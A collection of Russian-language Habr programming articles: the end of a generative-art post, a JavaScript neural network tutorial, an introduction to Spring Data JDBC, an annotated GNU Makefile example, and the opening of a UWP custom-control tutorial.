value=(0.23086906415935038, 0.37527352432134564, 0.6550565938107306)
),
Constant(
value=(0.9743539853372215, 0.4993488372065832, 0.05428706152991847)
),
VariableX(),
treshold=0.7809432727354246
)
)
),
Product(
VariableX(),
Constant(
value=(0.35945935485851765, 0.4090601858176649, 0.7061945311933203)
)
),
treshold=0.5365108582149631
)
)
)
),
Product(
Sin(
VariableY(),
phase=1.3028027533404898,
frequency=3.4563327126372814
),
Constant(
value=(0.7204939582620923, 0.11638980673023169, 0.06796149180653843)
)
),
Well(
Mod(
Level(
Mod(
Constant(
value=(0.8232688016240477, 0.7483540167019266, 0.17127382751327436)
),
VariableX()
),
Constant(
value=(0.8002626489803971, 0.2922622157788455, 0.2775479167197744)
),
Product(
VariableY(),
VariableX()
),
treshold=-0.544640789851953
),
VariableY()
)
)
),
phase=1.9838654684998096, ## (2)
frequency=4.625078885960704
)
)
)
)
```
Видно, что он длинный и имеет большую вложенность, хотя `сложность` (о ней чуть ниже) генерации не сильно большая. Если же поменять какое-то значение, то изображение должно поменяться. Вот примеры изображений, в которых (1) обнулён оператор `Constant(value=(0.8052, 0.8272, 0.6657))` на `Constant(value=(0.0, 0.0, 0.0))` и в метке (2) `phase=1.9839, frequency=4.625` изменено на `phase=1.0, frequency=3.0`.
какой-то странный мем!Можно посмотреть, что будет, если изменить сами операторы. Первую метку заменим `Constant` -> `VariableX`, а во второй `Sin` -> `Well`. Вот что получается:
а это ещё более странный мем!!!В первом случае, так же как и при изменении значений, изменения на детализации, а во втором изменяется общий узор.
Общее сравнение полученных изображенийПодробнее разберём генерацию артов. Вот пример сгенерированного арта маленькой сложности:
```
Well(
Mod(
Level(
VariableX(),
Product(
Sum(
VariableY(),
VariableY()
),
VariableX()
),
VariableY(),
treshold=-0.36504581083005916
),
Sum(
Sum(
Tent(
Sum(
Product(
VariableX(),
Product(
VariableX(),
VariableY()
)
),
Constant(
value=(0.8837650122639356, 0.33526228359302135, 0.09636463380778282)
)
)
),
Well(
VariableX()
)
),
VariableX()
)
)
)
```
Дерево операторов в более наглядном виде:
дерево операторовДля генерации арта необходим параметр `сложность`, и это как раз то, насколько глубока будет генерация дерева. Для маленькой сложности дерево будет не особо большим (в этом примере сложность 12), но чем больше она будет - тем больше арт (в примере выше было 48) и сложнее изображение. Число сложности не имеет под собой каких-то особых вычислений, это просто случайно натыканный инт.
Алгоритм создания арта (дерева) просто рекурсивно создёт операторы, каждый раз уменьшая сложность у ветвей. Весь код генерации арта:
```
def generate_art(complexity: int) -> Operator:
if complexity <= 0:
# operators_flat - операторы с арностью 0
plain_operator = random.choice(operators_flat)
return plain_operator()
# operators_dimensional - операторы с арностью > 0
operator = random.choice(operators_dimensional)
sub_complexities = [
random.randrange(complexity)
for _ in range(operator.arity - 1)
]
suboperators = []
last_complexity = 0
for curr_complexity in sorted(sub_complexities):
suboperator = generate_art(curr_complexity - last_complexity)
suboperators.append(suboperator)
last_complexity = curr_complexity
suboperators.append(generate_art(complexity - 1 - last_complexity))
return operator(*suboperators)
```
В этом коде есть два списка - `operators_flat` и `operators_dimensional`. Это два списка операторов, разница между которыми в их арности: в первом она нулевая, во втором ненулевая. Ключевая разница операторов в этих списках состоит в том, что ненулевые операторы имеют дочерних (по количеству арности), а нулевые не имеют. Нулевые просто выбирают значение, по которому будет происходить генерация (координата x/y/const), но не имеют никаких формул внутри, и ими же заканчивается любая ветвь в дереве арта. А ненулевые получают значения из дочерних, а дальше изменяют то, что получили, по описанной в них формуле. Так, единичные меняют одно значение по математической формуле, операторы с арностью 2+ же смешивают значение из нескольких цветов.
### Входные параметры
Результат генерации арта зависит от 2-х вещей: состояние рандома и сложность. Состояние рандома может (и так делалось изначально) браться случайным, но его можно и устанавливать вручную перед генерацией, чтобы получать одинаковые результаты. Передо мной стояла задача генерировать изображения из фраз, поэтому за семя я беру фразу и устанавливаю её рандому непосредственно перед генерацией арта.
Сложность тоже нужно откуда-то брать при генерации, но в то же время необходимо иметь возможность задавать её вручную. Поэтому, если сложность не задана, то перед генерацией тем же ядром получаем случайное число из некоторого промежутка, которое затем используется как сложность.
Вот как изменяются картинки с одной фразой, но разной сложностью. Это интересно тем, как постепенно изменяется изображение с увеличением сложности арта. Здесь фраза случайная, а сложность изменяется от 1 до 148.
сложность от 1 до 148### Картинки-картинки-картинки
А вот много изображений, не какие-то определённые результаты, а просто генерация по строчкам песни подряд (кстати, получилось удачно, как по мне).
Кто знает песню - молодецHealing battles, mighty nationsHoly waters, Milky ways.The fierce proverbs, the crusades.Crooked nails, clear eyesHonorable herbaria, branchy cathedralsMountains of the forest, lousy rears.Binding threads, lingering corridors.Living beasts, warm lands.Only combustible laughter, tin enemy, strawberry frontOnly earthy salt, wind-up mouse, blue wagon.Every moment an overdose for all the rest of the timeFor all the rest of the time.Raw nooks, carbonated rivers.Steel eyelids, formidable zeros.Tired tantrums, widespread successes.Dry mouths, seventh heaven.Side-effects, deplorable grimaces.Empty masses, loud words.Insistent conclusions, invisible skeletons.Colored dreams and something else.Only earthly salt, winding pain, blue wagon.Only combustible laughter, strawberry front, tin foe### Дальше
Что будет с этим всем дальше? Скорее всего, я немного потыкаю код и забью, это все мы любим делать, но в теории можно добавить:
* **новые операторы, операторы 4+ арности**: сейчас операторов не так много, и интересно бы было добавить много новых, чтобы было меньше повторяющихся шаблонов, больше вариантов
* **компиляцию, кэширование вычислений**: вычисление арта представляет их себя числодробление флоатов много раз для каждого пикселя. Питон, на котором написан генератор, в этом плох, но компилирование может сильно ускорить работу
* **гуишку**: запуск идёт на чёрном фоне из консоли, а можно красиво и приятно для юзеров-непрограммистов запускать генерацию, более удобно передавать арт
### Ссылочки
Не знаю, о чём ещё тут писать, поэтому держите красивые ссылочки:
* <https://www.shvembldr.com/gallery/>
* <https://www.behance.net/manoloide>
* <https://tylerxhobbs.com/work>
* <https://generated.space/>
* <https://sunandstuff.com/mandelbrot/about/>
* <http://ravenkwok.com/>
* <http://reas.com/>
* <https://inconvergent.net/> | https://habr.com/ru/post/648687/ | null | ru | null |
# Нейросеть с нуля своими руками. Часть 2. Реализация
Как я говорил во вступлении к [первой части](https://habr.com/ru/post/556076/), я frontend-разработчик, и мой родной язык - JavaScript, реализовывать нашу нейросеть в рамках данной статьи мы будем именно на нем. Для начала несколько слов о структуре. За исключением различных вычисляемых свойств и методов, объект нейросети будет содержать в себе массив слоев layers, каждый слой будет содержать массив нейронов neurons, а каждый нейрон, в свою очередь, будет содержать массив “входов” - связей с нейронами предыдущего слоя inputs. Также, так как у нас есть вещи общие для всей сети, такие как активационная функция, ее производная и learning rate, а получать доступ до них нужно из каждого нейрона, условимся, что в нейроне будет ссылка \_layer на слой, которому он принадлежит, а у слоя будет \_network - ссылка на саму сеть.
Давайте пойдем от частного к общему и сначала опишем класс входа для нейрона.
```
class Input {
constructor(neuron, weight) {
this.neuron = neuron;
this.weight = weight;
}
}
```
Тут все довольно просто. У каждого входа есть числовой вес и ссылка на нейрон предыдущего слоя. Идем далее. Опишем класс самого нейрона.
```
class Neuron {
constructor(layer, previousLayer) {
this._layer = layer;
this.inputs = previousLayer
? previousLayer.neurons.map((neuron) => new Input(neuron, Math.random() - 0.5))
: [0];
}
get $isFirstLayerNeuron() {
return !(this.inputs[0] instanceof Input)
}
get inputSum() {
return this.inputs.reduce((sum, input) => {
return sum + input.neuron.value * input.weight;
}, 0);
}
get value() {
return this.$isFirstLayerNeuron
? this.inputs[0]
: this._layer._network.activationFunction(this.inputSum);
}
set input(val) {
if (!this.$isFirstLayerNeuron) {
return;
}
this.inputs[0] = val;
}
set error(error) {
if (this.$isFirstLayerNeuron) {
return;
}
const wDelta = error * this._layer._network.derivativeFunction(this.inputSum);
this.inputs.forEach((input) => {
input.weight -= input.neuron.value * wDelta * this._layer._network.learningRate;
input.neuron.error = input.weight * wDelta;
});
}
}
```
Давайте разберемся что тут происходит. В конструктор нейрона мы можем передать два параметра: слой, на котором этот нейрон находится и, если это не входной слой нейросети, ссылку на предыдущий слой.
В конструкторе, для каждого нейрона предыдущего слоя мы создадим вход, который свяжет нейроны и будет иметь случайный вес, и запишем все входы в массив inputs. Если же это входной слой сети, то массив inputs будет состоять из единственного числового значения, того, которое мы передадим на вход.
**$isFirstLayerNeuron** - вычисляемый флаг, который будет говорить нам о том, что это нейрон входного слоя. Некоторые операции производятся во всех слоях, кроме входного, так что он пригодится нам в дальнейшем.
**inputSum** - readonly свойство, которое предоставляет нам сумму всех входных сигналов (значений, на выходе нейронов предыдущего слоя) с примененными к ним весами.
**value** - выходное значение нейрона. Для всех слоев, кроме входного, это значение активационной функции от inputSum.
Также мы объявим два сеттера:
**input** - нужен для того, чтобы устанавливать входные значения для нейронов первого слоя.
И самое интересное - сеттер **error**. В нем мы рассчитываем дельту весов, и для каждого входа нейрона пересчитываем их значения, а также устанавливаем error для нейрона предыдущего слоя. Таким образом, установив ошибку на выходе сети, мы инициируем пересчет весов всех нейронных связей.
Теперь давайте посмотрим на класс слоя нейросети. Тут все намного проще.
```
class Layer {
constructor(neuronsCount, previousLayer, network) {
this._network = network;
this.neurons = [];
for (let i = 0; i < neuronsCount; i++) {
this.neurons.push(new Neuron(this, previousLayer));
}
}
get $isFirstLayer() {
return this.neurons[0].$isFirstLayerNeuron;
}
set input(val) {
if (!this.$isFirstLayer) {
return;
}
if (!Array.isArray(val)) {
return;
}
if (val.length !== this.neurons.length) {
return;
}
val.forEach((v, i) => this.neurons[i].input = v);
}
}
```
В конструктор передается число - количество нейронов, в соответствии с ним мы заполним массив neurons слоя, ссылка на предыдущий слой, чтобы передать ее в конструктор нейрона, и ссылка на саму сеть.
Также у нас есть **$isFirstLayer** - вычисляемый флаг, который говорит нам о том, входной ли это слой, и сеттер input, который после проверок на то, что мы вызываем его на входном слое и на вход получаем массив нужной длины, устанавливает входные данные. Он нужен для того, чтобы заполнить значениями входной слой.
И, наконец, опишем класс самой нейросети
```
class Network {
static sigmoid(x) {
return 1 / (1 + Math.exp(-x));
}
static sigmoidDerivative(x) {
return Network.sigmoid(x) * (1 - Network.sigmoid(x));
}
constructor(inputSize, outputSize, hiddenLayersCount = 1, learningRate = 0.5) {
this.activationFunction = Network.sigmoid;
this.derivativeFunction = Network.sigmoidDerivative;
this.learningRate = learningRate;
this.layers = [new Layer(inputSize, null, this)];
for (let i = 0; i < hiddenLayersCount; i++) {
const layerSize = Math.min(inputSize * 2 - 1, Math.ceil((inputSize * 2 / 3) + outputSize));
this.layers.push(new Layer(layerSize, this.layers[this.layers.length - 1], this));
}
this.layers.push(new Layer(outputSize, this.layers[this.layers.length - 1], this));
}
set input(val) {
this.layers[0].input = val;
}
get prediction() {
return this.layers[this.layers.length - 1].neurons.map((neuron) => neuron.value);
}
trainOnce(dataSet) {
if (!Array.isArray(dataSet)) {
return;
}
dataSet.forEach((dataCase) => {
const [input, expected] = dataCase;
this.input = input;
this.prediction.forEach((r, i) => {
this.layers[this.layers.length - 1].neurons[i].error = r - expected[i];
});
});
}
train(dataSet, epochs = 100000) {
return new Promise(resolve => {
for (let i = 0; i < epochs; i++) {
this.trainOnce(dataSet);
}
resolve();
});
}
}
```
В конструктор мы передаем размер входного и выходного слоев, количество скрытых слоев и learning rate.
Сеттер **input** - просто сахар, по сути вызывает одноименный сеттер входного слоя.
Вычисляемое свойство **prediction** - то, ради чего все это делалось. Выдает нам предсказание нейросети в виде массива значений нейронов выходного слоя на основе установленных входных данных.
Метод **trainOnce** производит единичную итерацию обучения нейросети на основе **dataset** - массива обучающих данных, каждый элемент которого в свою очередь является массивом, где первым элементом идет массив входных данных, а вторым - ожидаемый для них результат. Извиняюсь, если слишком усложнил описание, на примере вы увидите что это довольно просто. В нем мы устанавливаем входные данные, получаем предсказание сети, вычисляем ошибку и сообщаем ее, инициируя пересчет весов нейронных связей.
Метод **train** - производит необходимое количество итераций обучения сети, так называемых эпох. Оформлен в виде промиса просто для красивого синтаксиса. Для того, чтобы иметь возможность знать когда обучение завершено с помощью .then, хоть весь наш код и так будет выполняться в main thread.
Теперь у нас есть все, чтобы проверить нашу нейросеть в деле. Давайте сделаем это на классическом примере - попытаемся обучить сеть выполнять операцию XOR.
Для начала создадим инстанс сети с двумя входными нейронами и одним выходным.
```
const network = new Network(2, 1);
```
Зададим набор данных для обучения:
```
const data = [
[[0, 0], [0]],
[[0, 1], [1]],
[[1, 0], [1]],
[[1, 1], [0]],
];
```
Запустим процесс обучения, а после проверим результат на тестовых данных.
```
network.train(data).then(() => {
const testData = [
[0, 0],
[0, 1],
[1, 0],
[1, 1],
];
testData.forEach((input, index) => {
network.input = input;
console.log(`${input[0]} XOR ${input[1]} = ${network.prediction}`)
});
});
```
Что же, наша сеть дает верный результат с весьма неплохой точностью для бинарной операции. В следующей части мы запустим ее прямо в браузере и найдем ей практическое применение. | https://habr.com/ru/post/556180/ | null | ru | null |
# Представляем Spring Data JDBC
В предстоящий релиз Spring Data под кодовым именем *Lovelace* мы собираемся включить новый модуль: [Spring Data JDBC](https://projects.spring.io/spring-data-jdbc/).
Идея Spring Data JDBC заключается в том, чтобы предоставить доступ к реляционным базам данных **без использования всей сложности JPA**.
JPA предлагает такие функции, как *ленивая загрузка* (lazy loading), *кеширование* и *отслеживание изменений* (dirty tracking). Не смотря на то, что эти фичи очень крутые, если они, конечно, вам действительно нужны, они могут сильно усложнить понимание логики доступа к данным.
Мехнизм *ленивой загрузки* может внезапно выполнить ресурсоемкие запросы, или и вовсе упасть с исключением. *Кэширование* может встать на вашем пути когда вы решите сравнить две версии entity, а вкупе с *отслеживанием изменений* помешает понять — в какой же момент реально выполнятся все операции с базой данных?
Spring Data JDBC фокусируется на **гораздо более простой модели**. Не будет кеширования, отслеживания изменений, или ленивой загрузки. Вместо этого, SQL запросы будут выполнены тогда и только тогда, когда вы вызваете метод репозитория. Возвращаемый результат будет полностью загружен в память после выполнения метода. Не будет и механизма "сесии" или прокси-объектов для entities. И все это должно сделать Spring Data JDBC более простым и понятным инструментов для доступа к данным.
Разумеется, такой упрощенный подход выливается в целый ряд ограничений, о которых мы поговорим в следующих постах. Грядущий релиз это самая первая версия библиотеки, у нас есть много планов и замыслов, которые мы хотим реализовать, но мы вынуждены их отложить, чтобы дать вам возможность начать пользоваться Spring Data JDBC как можно раньше.
Пример
======
Для начала, нам нужно определить entity:
```
class Customer {
@Id
Long id;
String firstName;
LocalDate dob;
}
```
> Обратите внимание, что мы не определяем ни геттеров, ни сеттеров. Вы, конечно, можете их добавить, если хотите. В сущности, единственное требование к entity — это иметь поле аннотированное аннотацией `Id` (но именно `org.springframework.data.annotation.Id`, а не `javax.persistence one`).
Дальше, нужно определить репозиторий. Самый простой способ это сделать — расширить интерфейс `CrudRepository`.
```
interface CustomerRepository extends CrudRepository {}
```
Наконец, нужно сконфигурировать `ApplicationContext` чтобы реализация этого интерфейса была созданы автоматически:
```
@Configuration
@EnableJdbcRepositories (1)
public class CustomerConfig extends JdbcConfiguration { (2)
@Bean
NamedParameterJdbcOperations operations() { (3)
return new NamedParameterJdbcTemplate(dataSource());
}
@Bean
PlatformTransactionManager transactionManager() { (4)
return new DataSourceTransactionManager(dataSource());
}
@Bean
DataSource dataSource(){ (5)
return new EmbeddedDatabaseBuilder()
.generateUniqueName(true)
.setType(EmbeddedDatabaseType.HSQL)
.addScript("create-customer-schema.sql")
.build();
}
}
```
Давайте разберем конфигурацию более детально.
1. `EnableJdbcRepositories` активирует автоматическое создание репозиториев. Для того, чтобы это работало, нужно предоставить несколько дополнительных бинов, для чего и потребуется остальная часть нашего класса конфигурации.
2. Т.к. конфигурационный класс расширяет `JdbcConfiguration`, несколько бинов будут добавлены в контекст автоматически. Их так же можно перекрыть, если нужно изменить поведение Spring Data JDBC. Но в данном примере мы оставим поведение по-умолчанию.
3. Очень важный компонент это `NamedParameterJdbcOperations`, который используется для выполнения запросов к базе.
4. Менеджер транзакций, строго говоря, не обязателен. Но без него не будет и поддержки транзакций, а это мало кому понравится, правда?
5. Spring Data JDBC не использует `DataSource` напрямую, но `TransactionManager` и `NamedParameterJdbcOperation` требуют его наличия в контексте, поэтому мы и определяем нужный бин.
Это все, что нужно, чтобы начать работать со Spring Data JDBC. Теперь напишем тест, чтобы посмотреть, как это все работает:
```
@RunWith(SpringRunner.class)
@Transactional
@ContextConfiguration(classes = CustomerConfig.class)
public class CustomerRepositoryTest {
@Autowired CustomerRepository customerRepo;
@Test
public void createSimpleCustomer() {
Customer customer = new Customer();
customer.dob = LocalDate.of(1904, 5, 14);
customer.firstName = "Albert";
Customer saved = customerRepo.save(customer);
assertThat(saved.id).isNotNull();
saved.firstName = "Hans Albert";
customerRepo.save(saved);
Optional reloaded = customerRepo.findById(saved.id);
assertThat(reloaded).isNotEmpty();
assertThat(reloaded.get().firstName).isEqualTo("Hans Albert");
}
}
```
Аннотация `@Query`
==================
Только со стандартными методами CRUD репозитория из класса `CrudRepository` далеко не уедешь. Мы намеренно решили отложить автоматическую генерацию запроса — популярную фичу Spring Data, когда SQL запрос генерится на основе имени метода — на будущие релизы. А на текущий момент, вы можете просто использовать уже знакомую аннотацию `@Query` чтобы точно указать, какой SQL запрос должен быть выполнен.
```
@Query("select id, first_name, dob from customer where upper(first_name) like '%' || upper(:name) || '%' ")
List findByName(@Param("name") String name);
```
Если вы хотите изменять или удалять данные в запросе, можете добавить к методу аннотацию `@Modifying`.
Давайте напишем тест, чтобы посмотреть, как работает наш новый метод.
```
@Test
public void findByName() {
Customer customer = new Customer();
customer.dob = LocalDate.of(1904, 5, 14);
customer.firstName = "Albert";
Customer saved = customerRepo.save(customer);
assertThat(saved.id).isNotNull();
customer.id= null; (1)
customer.firstName = "Bertram";
customerRepo.save(customer);
customer.id= null;
customer.firstName = "Beth";
customerRepo.save(customer);
assertThat(customerRepo.findByName("bert")).hasSize(2); (2)
}
```
1. Т.к. связь между Java объектов и записью в базе только по полю `Id` и типу, то установка `Id`в `null` и сохранение этого объекта создаст новую запись.
2. В запросе мы используем case-sensitive like, и поэтому мы находим « Albert » и « Bertram », но не « Beth ».
В завершение
============
Конечно, о Spring Data JDBC можно рассказать гораздо больше, и мы обязательно расскажем в следующих статьях.
А пока, вы можете изучить [код примеров](https://github.com/spring-projects/spring-data-examples/tree/master/jdbc), [документацию](https://docs.spring.io/spring-data/jdbc/docs/1.0.0.RC2/reference/html/), и, разумеется, [исходный код](https://github.com/spring-projects/spring-data-jdbc). Если у вас появятся вопросы — не стесняйтесь их [задавать на StackOverflow](https://stackoverflow.com/questions/tagged/spring-data-jdbc). А если вы нашли баг или хотите запросить новую фичу — пожалуйста, [создайте тикет](https://jira.spring.io/projects/DATAJDBC). | https://habr.com/ru/post/423697/ | null | ru | null |
# Пример Makefile
Написание makefile иногда становится головной болью. Однако, если разобраться, все становится на свои места, и написать мощнейший makefile длиной в 40 строк для сколь угодно большого проекта получается быстро и элегантно.
Внимание! Предполагаются базовые знания утилиты GNU make.
Имеем некий типичный абстрактный проект со следующей структурой каталогов:
Пусть для включения заголовочных файлов в исходниках используется что-то типа #include , то есть каталог project/include делается стандартным при компиляции.
После сборки надо, чтобы получилось так:
То есть, в каталоге bin лежат рабочая (application) и отладочная (application\_debug) версии, в подкаталогах Release и Debug каталога project/obj повторяется структура каталога project/src с соответствующими исходниками объектных файлов, из которых и компонуется содержимое каталога bin.
Чтобы достичь данного эффекта, создаем в каталоге project файл Makefile следующего содержания:
> 1. root\_include\_dir := include
> 2. root\_source\_dir := src
> 3. source\_subdirs := . dir1 dir2
> 4. compile\_flags := -Wall -MD -pipe
> 5. link\_flags := -s -pipe
> 6. libraries := -ldl
> 7.
> 8. relative\_include\_dirs := $(addprefix ../../, $(root\_include\_dir))
> 9. relative\_source\_dirs := $(addprefix ../../$(root\_source\_dir)/, $(source\_subdirs))
> 10. objects\_dirs := $(addprefix $(root\_source\_dir)/, $(source\_subdirs))
> 11. objects := $(patsubst ../../%, %, $(wildcard $(addsuffix /\*.c\*, $(relative\_source\_dirs))))
> 12. objects := $(objects:.cpp=.o)
> 13. objects := $(objects:.c=.o)
> 14.
> 15. all : $(program\_name)
> 16.
> 17. $(program\_name) : obj\_dirs $(objects)
> 18. g++ -o $@ $(objects) $(link\_flags) $(libraries)
> 19.
> 20. obj\_dirs :
> 21. mkdir -p $(objects\_dirs)
> 22.
> 23. VPATH := ../../
> 24.
> 25. %.o : %.cpp
> 26. g++ -o $@ -c $< $(compile\_flags) $(build\_flags) $(addprefix -I, $(relative\_include\_dirs))
> 27.
> 28. %.o : %.c
> 29. g++ -o $@ -c $< $(compile\_flags) $(build\_flags) $(addprefix -I, $(relative\_include\_dirs))
> 30.
> 31. .PHONY : clean
> 32.
> 33. clean :
> 34. rm -rf bin obj
> 35.
> 36. include $(wildcard $(addsuffix /\*.d, $(objects\_dirs)))
>
В чистом виде такой makefile полезен только для достижения цели clean, что приведет к удалению каталогов bin и obj.
Добавим еще один сценарий с именем Release для сборки рабочей версии:
```
mkdir -p bin
mkdir -p obj
mkdir -p obj/Release
make --directory=./obj/Release --makefile=../../Makefile build_flags="-O2 -fomit-frame-pointer" program_name=../../bin/application
```
И еще один сценарий Debug для сборки отладочной версии:
```
mkdir -p bin
mkdir -p obj
mkdir -p obj/Debug
make --directory=./obj/Debug --makefile=../../Makefile build_flags="-O0 -g3 -D_DEBUG" program_name=../../bin/application_debug
```
Именно вызов одного из них соберет наш проект в рабочем, либо отладочном варианте. А теперь, обо всем по-порядку.
Допустим, надо собрать отладочную версию. Переходим в каталог project и вызываем ./Debug. В первых трех строках создаются каталоги. В четвертой строке утилите make сообщается, что текущим каталогом при запуске надо сделать project/obj/Debug, относительно этого далее передается путь к makefile и задаются две константы: build\_flags (тут перечисляются важные для отладочной версии флаги компиляции) и program\_name (для отладочной версии – это application\_debug).
Далее, в игру вступает GNU make. Прокомментируем каждую строку makefile:
1: Объявляется переменная с именем корневого каталога заголовочных файлов.
2: Объявляется переменная с именем корневого каталога исходников.
3: Объявляются переменная с именами подкаталогов корневого каталога исходников.
4: Объявляется переменная с общими флагами компиляции. -MD заставляет компилятор сгенерировать к каждому исходнику одноименный файл зависимостей с расширением .d. Каждый такой файл выглядит как правило, где целью является имя исходника, а зависимостями – все исходники и заголовочные файлы, которые он включает директивой #include. Флаг -pipe заставляет компилятор пользоваться IPC вместо файловой системы, что несколько ускоряет компиляцию.
5: Объявляется переменная с общими флагами компоновки. -s заставляет компоновщик удалить из результирующего ELF файла секции .symtab, .strtab и еще кучу секций с именами типа .debug\*, что значительно уменшает его размер. В целях более качественно отладки этот ключ можно убрать.
6: Объявляется переменная с именами используемых библиотек в виде ключей компоновки.
8: Объявляется переменная, содержащая относительные имена каталогов со стандартными заголовочными файлами. Потом такие имена напрямую передаются компилятору, предваряемые ключем -I. Для нашего случая получится ../../include, потому что такой каталог у нас один. Функция addprefix добавляет свой первый аргумент ко всем целям, которые задает второй аргумент.
9: Объявляется переменная, содержащая относительные имена всех подкаталогов корневого каталога исходников. В итоге получим: ../../src/. ../../src/dir1 ../../src/dir1.
10: Объявляется переменная, содержащая имена подкаталогов каталога project/obj/Debug/src относительно текущего project/obj/Debug. То есть, этим мы перечисляем копию структуры каталога project/src. В итоге получим: /src/dir1 src/dir2.
11: Объявляется переменная, содержащая имена исходников, найденных на основе одноименных файлов \*.c\* (.cpp\.c), безотносительно текущего каталога. Смотрим поэтапно: результатом addsuffix будет ../../src/./\*.с\* ../../src/dir1/\*.с\* ../../src/dir2/\*.с\*. Функция wildcard развернет шаблоны со звездочками до реальных имен файлов: ../../src/./main.сpp ../../src/dir1/file1.с ../../src/dir1/file2.сpp ../../src/dir2/file3.с ../../src/dir2/file4.с. Функция patsubsb уберет префикс ../../ у имен файлов (она заменяет шаблон, заданный первым аргументом на шаблон во втором аргументе, а % обозначает любое количество символов). В итоге получим: src/./main.сpp src/dir1/file1.с src/dir1/file2.сpp src/dir2/file3.с src/dir2/file4.с.
12: В переменной с именами исходников расширения .cpp заменяется на .o.
13: В переменной с именами исходников расширения .c заменяется на .o.
15: Первое объявленное правило – его цель становится целью всего проекта. Зависимостью является константа, содержащая имя программы (../../bin/application\_debug мы ее передали при запуске make из сценария).
17: Описание ключевой цели. Зависимоcти тоже очевидны: наличие созданных подкаталого в project/obj/Debug, повторяющих структуру каталога project/src и множество объектных файлов в них.
18: Описано действие по компоновке объектных файлов в целевой.
20: Правило, в котором цель – каталог project/obj/Debug/src и его подкаталоги.
21: Действие по достижению цели – создать соответствующие каталоги src/., src/dir1 и src/dir2. Ключ -p утилиты mkdir игнорирует ошибку, если при создании какого-либо каталога, таковой уже существуют.
23: Переменная VPATH принимает значение ../../. Это необходимо для шаблонов нижеследующих правил.
25: Описывается множество правил, для которых целями являются любые цели, соответствующие шаблону %.o (то есть имена которых оканчиваются на .o), а зависимостями для этих целей являются одноименные цели, соответствующие шаблону %.cpp (то есть имена которых оканчиваются на .cpp). При этом под одноименностью понимается не только точное совпадение, но также если имя зависимости предварено содержимым переменной VPATH. Например, имена src/dir1/file2 и ../../src/dir1/file2 совпадут, так как VPATH содержит ../../.
26: Вызов компилятора для превращения исходника на языке С++ в объектный файл.
28: Описывается множество правил, для которых целями являются любые цели, соответствующие шаблону %.o (то есть имена которых оканчиваются на .o), а зависимостями для этих целей являются одноименные цели, соответствующие шаблону %.c (то есть имена которых оканчиваются на .c). Одноименность как в строке 23.
29: Вызов компилятора для превращения исходника на языке С в объектный файл.
31: Некоторая цель clean объявлена абстрактной. Достижение абстрактной цели происходит всегда и не зависит от существования одноименного файла.
32: Объявление абстрактной цели clean.
33: Действие по ее достижению заключается в уничтожении каталогов project/bin и project/obj со всем их содержимым.
36: Включение содержимого всех файлов зависимостей (с расширением .d), находящихся в подкаталогах текущего каталога. Данное действие утилита make делает в начале разбора makefile. Однако, файлы зависимостей создаются только послекомпиляции. Значит, при первой сборке ни один такой файл включен не будет. Но это не страшно. Цель включения этих файлов – вызвать перекомпиляцию исходников, зависящих от модифицированного заголовочного файла. При второй и последующих сборках утилита make будет включать правила, описанные во всех файлах зависимостей, и, при необходимости, достигать все цели, зависимые от модифицированного заголовочного файла.
**Удачи!** | https://habr.com/ru/post/111691/ | null | ru | null |
# Расширение, изменение и создание элементов управления на платформе UWP. Часть 3
Ознакомившись со средствами [расширения](https://habrahabr.ru/company/mobile_dimension/blog/330480/) и [изменения](https://habrahabr.ru/company/mobile_dimension/blog/332630/) существующих элементов управления в предыдущих частях, мы подходим к наиболее интересной теме данного цикла статей – создание новых элементов управления.
#### Часть 3. Создание новых элементов управления
Посредством присоединенных свойств (*Attached Properties*) и поведений (*Behaviors*) мы имеем возможность расширять существующие элементы управления без вмешательства в их внутренее устройство. Располагая же разметкой их шаблонов, мы также можем изменить их внешний вид и работу визуальных состояний (*VisualState*). Однако, если требуется изменить или расширить логику существующего элемента управления, или и вовсе создать новый элемент управления, то нам необходимо опуститься на уровень кода (*ControlName.cs*).
**Создание нового элемента управления на базе существующего**
Данный пункт является плавным переходом от темы модификации шаблонов элементов управления, подробно рассмотренной в [предыдущей части](https://habrahabr.ru/company/mobile_dimension/blog/332630/), к теме создания своих собственных элементов управления. В рамках него мы воспользуемся раннее рассмотренным материалом а также расширим логику работы существующего элемента управления.
Расширение логики достигается за счет создания нового элемента управления, базирующегося на уже существующем. Это позволяет полностью перенять уже реализованную логику работы со всеми свойствами зависимостей, что избавит нас от необходимости воссоздавать имеющийся в данном элементе управления функционал.
Предположим, что нам требуется разработать поле ввода регистрации с функцией валидации ввода. Для решения данной задачи нам отлично подойдет элемент управления *TextBox* в качестве основы.
Расширим его следующим образом:
1. Функционалом валадиции по заданому шаблону Regex
2. Визуальным индикатором сообщающим статус валидации
3. Визуальным индикатором сообщающим является ли поле ввода обязательным к заполнению
В результате получим следующий элемент управления
*Элемент управления ExtendedTextBox*
Итак, приступим. Создадим новый элемент управления. Для удобства предлагается размещать их в проекте по следуещему пути *“.../Controls/ControlName/ControlName.cs”*.
*Размещение нового элемента управления в проекте*
Добавляем новый элемент проекта как *Templated Control*. Не смотря на то, что данный шаблон не особо сильно отличается от нового пустого класса, главное, что он автоматически создает пустую заглушку шаблона разметки в файле *Generiс.xaml* для нового элемента управления. А в случае отсутствия данного файла создает его. Именно в этом файле по умолчанию осуществляется поиск шаблона разметки пользовательских элементов управления.
*Создание нового элемента проекта по шаблону *Templated Control**
```
<Setter Property="Template">
<Setter.Value>
<ControlTemplate TargetType="local2:ExtendedTextBox">
<Border
Background="{TemplateBinding Background}"
BorderBrush="{TemplateBinding BorderBrush}"
BorderThickness="{TemplateBinding BorderThickness}">
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
```
Шаблон разметки нового элемента управления по умолчанию
При этом *namespace* у всех новых элементов управления рекомендуется указывать общий, для упрощения работы с ними из XAML. А также изменить базовый класс на тот который мы собираемся взять за основу. В данном случае *TextBox*.
После чего внести некоторые правки в шаблон разметки по умолчанию.
*Изменение *namespace* и базового класса*
```
<Setter Property="Template">
<Setter.Value>
<ControlTemplate TargetType="controls:ExtendedTextBox">
<Border
Background="{TemplateBinding Background}"
BorderBrush="{TemplateBinding BorderBrush}"
BorderThickness="{TemplateBinding BorderThickness}">
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
```
Исправленный шаблон разметки элемента управления
После чего новый элемент управления можно использовать. На данный момент он полностью копирует функционал элемента управления *TextBox* и обладает разметкой состоящей из элемента *Border*.
```
```
Использование нового элемента управления
*Внешний вид нового элемента управления*
Следующим шагом является переиспользование шаблона разметки элемента управления *TextBox* (об этом мы подробно писали в [предыдущей части](https://habrahabr.ru/company/mobile_dimension/blog/332630/)).
